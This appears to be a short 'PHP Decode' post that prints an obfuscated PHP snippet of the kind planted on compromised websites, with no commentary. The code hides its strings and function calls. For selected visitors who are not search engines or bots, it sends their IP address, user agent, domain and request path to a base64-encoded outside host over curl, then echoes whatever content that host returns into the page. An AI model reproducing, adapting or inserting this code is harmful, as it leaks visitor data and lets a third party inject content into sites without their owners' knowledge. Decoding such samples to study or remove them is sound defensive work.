PHP Decode

function aaf($i){$a=Array('HTTP_USER_AGENT',"",'google','yahoo','baidu','msn','opera','chrome','bing','safari','bot','HTTP_REFERER',"",'REMOTE_ADDR','HTTP_HOST','aHR0cDovL2dsb2JhbGJyb3dzZXJzdGF0aXN0aWMuY29tL3N0YXRHL3N0YXQucGhw','?ip=','REMOTE_ADDR','&useragent=','&domainname=','HTTP_HOST','&fullpath=','REQUEST_URI','&check=','look',"O"," ");return $a[$i];}if(!isset($aafv_0)){global $aafv_0;$aafv_0=round(0+1);$aafv_1=$GLOBALS['_aaf_'][0]($_SERVER[aaf(0)]);$aafv_2=NULL;$aafv_3=aaf(1);if(($GLOBALS['_aaf_'][1]($aafv_1,aaf(2))== false)&&($GLOBALS['_aaf_'][2]($aafv_1,aaf(3))== false)&&($GLOBALS['_aaf_'][3]($aafv_1,aaf(4))== false)&&($GLOBALS['_aaf_'][4]($aafv_1,aaf(5))== false)&&($GLOBALS['_aaf_'][5]($aafv_1,aaf(6))== false)&&($GLOBALS['_aaf_'][6]($aafv_1,aaf(7))== false)&&($GLOBALS['_aaf_'][7]($aafv_1,aaf(8))== false)&&($GLOBALS['_aaf_'][8]($aafv_1,aaf(9))== false)&&($GLOBALS['_aaf_'][9]($aafv_1,aaf(10))== false)&&$_SERVER[aaf(11)]!=aaf(12)){if(isset($_SERVER[aaf(13)])== true && isset($_SERVER[aaf(14)])== true){$aafv_3=$GLOBALS['_aaf_'][10](aaf(15)) .aaf(16) .$GLOBALS['_aaf_'][11]($_SERVER[aaf(17)]) .aaf(18) .$GLOBALS['_aaf_'][12]($aafv_1) .aaf(19) .$GLOBALS['_aaf_'][13]($_SERVER[aaf(20)]) .aaf(21) .$GLOBALS['_aaf_'][14]($_SERVER[aaf(22)]) .aaf(23) .isset($_GET[aaf(24)]);$aafv_2=$GLOBALS['_aaf_'][15]($aafv_3);}}if($aafv_2 !== NULL){$GLOBALS['_aaf_'][16]($aafv_2,CURLOPT_RETURNTRANSFER,round(0+1));$GLOBALS['_aaf_'][17]($aafv_2,CURLOPT_TIMEOUT,round(0+6));$aafv_4=@$GLOBALS['_aaf_'][18]($aafv_2);if($aafv_4[round(0)]==aaf(25)){$aafv_4[round(0)]=aaf(26);echo $aafv_4;}$GLOBALS['_aaf_'][19]($aafv_2);}}